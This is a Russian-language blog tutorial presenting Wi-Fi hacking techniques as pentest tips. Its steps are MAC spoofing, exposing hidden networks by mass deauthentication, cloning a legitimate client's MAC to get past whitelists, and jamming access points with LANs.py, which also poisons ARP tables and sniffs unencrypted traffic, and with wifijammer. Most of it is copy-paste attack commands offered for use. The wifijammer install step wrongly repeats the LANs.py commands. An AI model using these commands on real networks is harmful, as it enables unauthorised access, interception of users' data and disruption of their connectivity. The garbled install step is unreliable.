О взломе WIFI написано не мало. Но это на столько обширная и интересная тема что о ней всегда есть что сказать нового. Ведь взлом WIFI является началом практически у всех хакеров ))) Так и сегодня, мы собрали для вас 4 лучших приема взлома WIFI сетей. Эти методы помогут вам в ваших пентестах работать эффективнее!
MAC (Media Access Control) — уникальный идентификатор, выдается каждой единице активного оборудования (то есть сетевому адаптеру, роутеру, свичу и так далее) или некоторым их интерфейсам.
MAC прошит в оборудование при изготовлении и используется в сети для идентификации отправителя и получателя фрейма. Предполагается, что при появлении в сети нового устройства администратору не придется задавать ему MAC вручную.
MAC уникален (или, по крайней мере, должен быть) для каждого сетевого интерфейса. При этом у устройства их может быть несколько — например, у ноутбуков их как минимум два: один у контроллера проводного подключения по Ethernet, второй — у адаптера Wi-Fi. У роутера или у свитча адреса уникальны для каждого порта, а если это роутер Wi-Fi, то различаться будут адреса у каждого беспроводного интерфейса (у современных роутеров это 2,4 ГГц и 5 ГГц).
MAC позволяет однозначно идентифицировать устройство и не меняется при смене операционной системы — он прошит в микросхему, которая предоставляет сетевой интерфейс.
Пентестеры и хакеры скрывают свой MAC, чтобы не допустить идентификации оборудования при атаке. Думаю, ты понимаешь, зачем это может понадобиться: если использовать реальный MAC, то он может быть засвечен при подключении к другим сетям. Существуют и средства сопоставления MAC с географическими координатами — например, скрипт iSniff-GPS из набора Kali.
Итак, предположим, что ты используешь Linux. Давай посмотрим, как сменить MAC без использования дополнительных программ.
Открывай терминал и вводи команду
$ ifconfig | grep HWaddr
Если ты используешь Ethernet, то посмотреть адреса адаптеров можно так:
$ ifconfig | grep ether
Чтобы временно изменить свой MAC, нужно выключить соответствующий сетевой интерфейс. Например, для интерфейса eth1 команда будет такой:
$ ifconfig eth1 down
Теперь можно сформировать новый MAC.
$ ifconfig eth1 hw ether 00:00:00:00:00:11
Цифры, как ты понимаешь, в этот шаблон можешь подставить любые.
Теперь нужно снова поднять eth1.
$ ifconfig eth1 up
И последнее — нужно проверить, вступили ли изменения в силу. Если ты снова посмотришь список MAC, то увидишь, что интерфейс изменился. Однако после перезагрузки компьютера старое значение MAC вернется.
Было бы удобно, если бы MAC изменялся каждый раз при подключении к сети. В этом нам поможет пакет NetworkManager. Начиная с версии 1.4 эта программа поддерживает спуфинг MAC, причем у нее есть много полезных опций.
Для каждой группы «проводные» (ethernet) и «беспроводные» (wifi) правила MAC настраиваются отдельно.
Также помни, что беспроводной адаптер может находиться в одном из двух состояний:
wifi.scan-rand-mac-address
. По умолчанию yes
, то есть во время сканирования будет устанавливаться произвольный MAC-адрес. Если выбрать no
, то этого происходить не будет;wifi.cloned-mac-address
, по умолчанию его значение равно preserve
.Для проводного интерфейса (свойство ethernet.cloned-mac-address
) и беспроводного интерфейса в состоянии подключения (wifi.cloned-mac-address
) доступны следующие варианты:
NetworkManager настраивается через файл /etc/NetworkManager/NetworkManager.conf
. Как вариант, можешь добавить дополнительный файл с расширением .conf в директорию /etc/NetworkManager/conf.d
(называться конфиг при этом может как угодно). Я рекомендую именно второй способ, поскольку при обновлении NetworkManager обычно заменяет главный .conf, и если ты вносил в него изменения, то они пропадут.
Если ты хочешь, чтобы при каждом подключении подменялся MAC-адрес, но при соединении с одной и той же сетью использовался одинаковый MAC, то надо добавить пару строк в конфиг. Вот они:
[connection] ethernet.cloned-mac-address=stable wifi.cloned-mac-address=stable
Свойства ethernet.cloned-mac-address
и wifi.cloned-mac-address
можно задавать по отдельности или вместе.
Проверить значения ты можешь, набрав ip a
, а чтобы изменения вступили в силу, нужно перезапустить NetworkManager:
$ sudo systemctl restart NetworkManager
Теперь подключайся к беспроводной сети и снова проверяй значения MAC.
Для одних и тех же сетей будут генерироваться одинаковые адреса. Если же ты хочешь, чтобы адреса всегда были разными, настройки будут такими:
[connection] ethernet.cloned-mac-address=random wifi.cloned-mac-address=random
Предположим, нам нужно использовать какой-то определенный MAC. Для этого снова будем править /etc/NetworkManager/conf.d/mac.conf
.
Чтобы задать MAC для проводного интерфейса, добавляй такие строки:
[connection] ethernet.cloned-mac-address=<новый MAC>
Чтобы задать MAC для беспроводного соединения — вот такие:
[connection] wifi.cloned-mac-address=<новый MAC>
Вместо <новый MAC>
, естественно, следует написать нужный MAC-адрес. И конечно, можно задать настройки для проводного и беспроводного соединения одновременно.
Обрати внимание, что при использовании этого метода MAC будет изменяться только после того, как ты подключишься к сети. До этого у интерфейсов будут их исходные адреса. Исключением может быть Wi-Fi, если ты уже настроил спуфинг, как показано выше. Для отмены спуфинга добавляй в конфиг такие строки:
[device] wifi.scan-rand-mac-address=no
И перезапускай службу, чтобы изменения вступили в силу.
Менять MAC умеет не только NetworkManager. На самом деле существует много способов сделать это при помощи как сторонних программ, так и системных служб. Чтобы мы могли отслеживать результаты, измени настройки NetworkManager:
[device] wifi.scan-rand-mac-address=no
Теперь он не будет спуфить MAC во время сканирования беспроводных сетей.
Поскольку в настройках NetworkManager не заданы параметры ethernet.cloned-mac-address
и wifi.cloned-mac-address
, будет использоваться значение по умолчанию (preserve
), даже если MAC был изменен другими программами.
Примеры дальше я буду выполнять в Kali Linux и менять настройки для адаптера Wi-Fi. Особенность всех этих способов в том, что изменения будут теряться после перезагрузки системы либо после переподключения адаптера.
Мы будем использовать программу ip, которая включена в пакет iproute2. Начнем с проверки текущего MAC:
$ ip link show
На выходе после слов link/ether
ты увидишь MAC-адрес. Первым делом выключаем соответствующий интерфейс. У меня это wlan0.
$ sudo ip link set dev wlan0 down
Далее мы переходим непосредственно к спуфингу MAC. Ты можешь задать любое значение, но помни, что сеть может быть настроена так, чтобы адреса не выдавались, если MAC не соответствует устройству какого-то известного производителя. Поэтому в качестве первых трех байтов лучше взять известный префикс и изменять только вторые три байта.
Для изменения MAC выполняем команду
$ sudo ip link set dev <интерфейс> address <MAC>
Значения подставь свои.
Последним шагом мы возвращаем интерфейс в состояние up:
$ sudo ip link set dev <интерфейс> up
Ну и для проверки изменений можешь написать
$ ip link show <интерфейс>
Значение link/ether
должно быть таким, как ты устанавливал.
Еще один вариант — использовать программу macchanger. Тут есть возможность и создать MAC как у оборудования какого-то определенного производителя, и полностью рандомизировать. В Kali эта утилита стоит по умолчанию.
В момент смены MAC, как и при других способах, устройство не должно использоваться, поэтому выключай его:
$ sudo ip link set dev <интерфейс> down
Дальше в качестве интерфейса у меня будет wlan0, меняй его на свой при необходимости.
Чтобы узнать значения MAC, можно запустить утилиту с опцией -s
:
$ sudo macchanger -s wlan0
В результате она выдаст текущий MAC и тот, что прошит в устройстве (на случай, если они не совпадают), а также укажет вендора. Например:
Current MAC: 00:c0:ca:96:cf:cb (ALFA, INC.)
Permanent MAC: 00:c0:ca:96:cf:cb (ALFA, INC.)
Чтобы поменять MAC на совершенно произвольный адрес, есть опция -r
:
$ sudo macchanger -r wlan0
На выходе к двум строкам выше добавится новый адрес.
Чтобы рандомизировать MAC, не меняя первые три байта (префикс производителя), есть опция -e
:
$ sudo macchanger -e wlan0
Ну и если ты хочешь сам задать новый MAC, используй -m
:
$ sudo macchanger -m <MAC> wlan0
Вместо <MAC>
подставь нужный адрес.
И наконец, чтобы вернуть исходный MAC, есть опция -p
:
$ sudo macchanger -p wlan0
Некоторые владельцы хотспотов настраивают их так, чтобы те не транслировали свое название (ESSID). Делается это обычно в качестве дополнительной меры безопасности. Пользователи не будут видеть такую сеть в списке доступных, а для подключения требуется набрать название вручную.
Это слабенькая защитная мера, потому что в определенные моменты ESSID все же транслируется в открытом виде.
Поймать ESSID в эфире можно во время подключения клиента, а для этого нужно либо подождать, пока это произойдет естественным образом, либо форсировать процесс, отключив всех от точки доступа. Это называется деаутентификацией. Потерявшие связь клиенты начнут на автомате подключаться заново, и имя сети проскочит в открытом виде.
Первым делом запускаем airodump:
$ airodump-ng <интерфейс>
Когда он запалит новую сеть, ты увидишь ВSSID, длину названия и используемый канал. Например, если сеть работает на первом канале, указываем его:
$ airodump-ng wlan0 --channel 1
Точно так же, как при перехвате рукопожатия, можно задать ключ -w
и за ним — префикс имени файла. Захват рукопожатия не мешает выявлению скрытой точки. Дальше можно либо просто подождать, пока кто-то подключится, либо деаутентифицировать всех клиентов:
$ aireplay-ng -0 3 -a <BSSID> wlan0
Здесь -0
означает массовую деаутентификацию, 3 — количество отправленных пакетов.
Результат поступит практически мгновенно, и ты увидишь строку с полным названием скрытой точки доступа.
В решении этой задачи нам снова поможет Airodump-ng. Переводим адаптер в режим мониторинга и выполняем такие команды:
$ ifconfig wlan0 down && iwconfig wlan0 mode monitor && ifconfig wlan0 up $ airodump-ng wlan0
Ты увидишь список сетей, количество подключенных клиентов и их MAC-адреса, которые можно присвоить своему адаптеру, если в сети настроена фильтрация по белым спискам.
Бывает и так, что сразу клиентов у определенных точек доступа не видно, поскольку программа собрала недостаточно сведений. В этом случае тебе опять же поможет деаутентификация. Если у хотспота есть хоть один клиент, ты это сразу увидишь после переподключения. А заодно можно и перехватывать хендшейки.
Для деаутентификации останавливаем Airodump-ng и запускаем снова, только уже с указанием канала интересующей нас точки.
$ airodump-ng wlan0 --channel 1
После этого шлем deauth-пакеты и смотрим, что получится:
$ aireplay-ng -0 5 -a <MAC> wlan0
После выполнения атаки будут раскрыты некоторые из ранее неизвестных клиентов. Копируй MAC кого-то из легитимных пользователей, записывай в настройки своей сетевой карты — и можешь проводить задуманную атаку.
При пентесте бывает нужно заглушить какую-то из точек доступа. Для этого я рекомендую использовать утилиту LANs. Она умеет не только глушить Wi-Fi, но и другие вещи: шпионит за пользователями, индивидуально травит таблицы ARP целевой машины, роутера и при необходимости — сервера DNS.
Радиус действия глушения сильно зависит от мощности адаптера, но у скрипта есть настройки, которые позволяют глушить всех подряд или только одного клиента. Здесь все просто: качаем и ставим зависимости и скачиваем сам скрипт.
$ sudo apt install -y python-nfqueue python-scapy python-twisted nbtscan $ git clone https://github.com/DanMcInerney/LANs.py.git $ cd LANs.py/
Теперь можно запускать наш скрипт, чтобы начать глушение.
$ python lans.py -u -p
Ключи -u
и -p
означают активное обнаружение цели для ARP-спуфинга и вывода всех интересных незашифрованных данных, которые они отправляют или запрашивают. Опции -ip
здесь нет, поэтому будет выполнено ARP-сканирование сети и его результаты будут сравниваться с результатами живого «неразборчивого» захвата. В результате получится список всех клиентов сети.
Нажимай Ctrl + C для остановки поиска, когда построишь карту сети и посмотришь списки подключенных клиентов. Для тех же целей, кстати, можно успешно использовать Nmap.
Точечный вариант глушения будет выглядеть так:
$ python lans.py --jam --accesspoint <MAC роутера> -s <MAC для пропуска>
Здесь:
Глушение всех сетей Wi-Fi будет выглядеть так:
$ python lans.py --jam
Глушение только одной точки доступа:
$ python lans.py --jam --accesspoint <BSSID>
Здесь тоже можно задать некоторые дополнительные опции:
Для глушения Wi-Fi бывает удобно использовать утилиту wifijammer. Она крайне проста в использовании, так что обсуждать здесь почти нечего: без параметров она просто будет заглушать все, что найдет в радиусе досягаемости адаптера. Чтобы не задеть своих, можно исключить некоторые MAC-адреса с опцией -s
.
Устанавливаем wifijammer:
$ sudo apt install -y python-nfqueue python-scapy python-twisted nbtscan $ git clone https://github.com/DanMcInerney/LANs.py.git $ cd LANs.py/
И запускаем:
$ sudo python2 wifijammer.py -s <MAC для исключения>
На этом все! Надеюсь, ты нашел что-то новое и интересное среди показанных мной фишек и тебе это пригодится в работе.
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…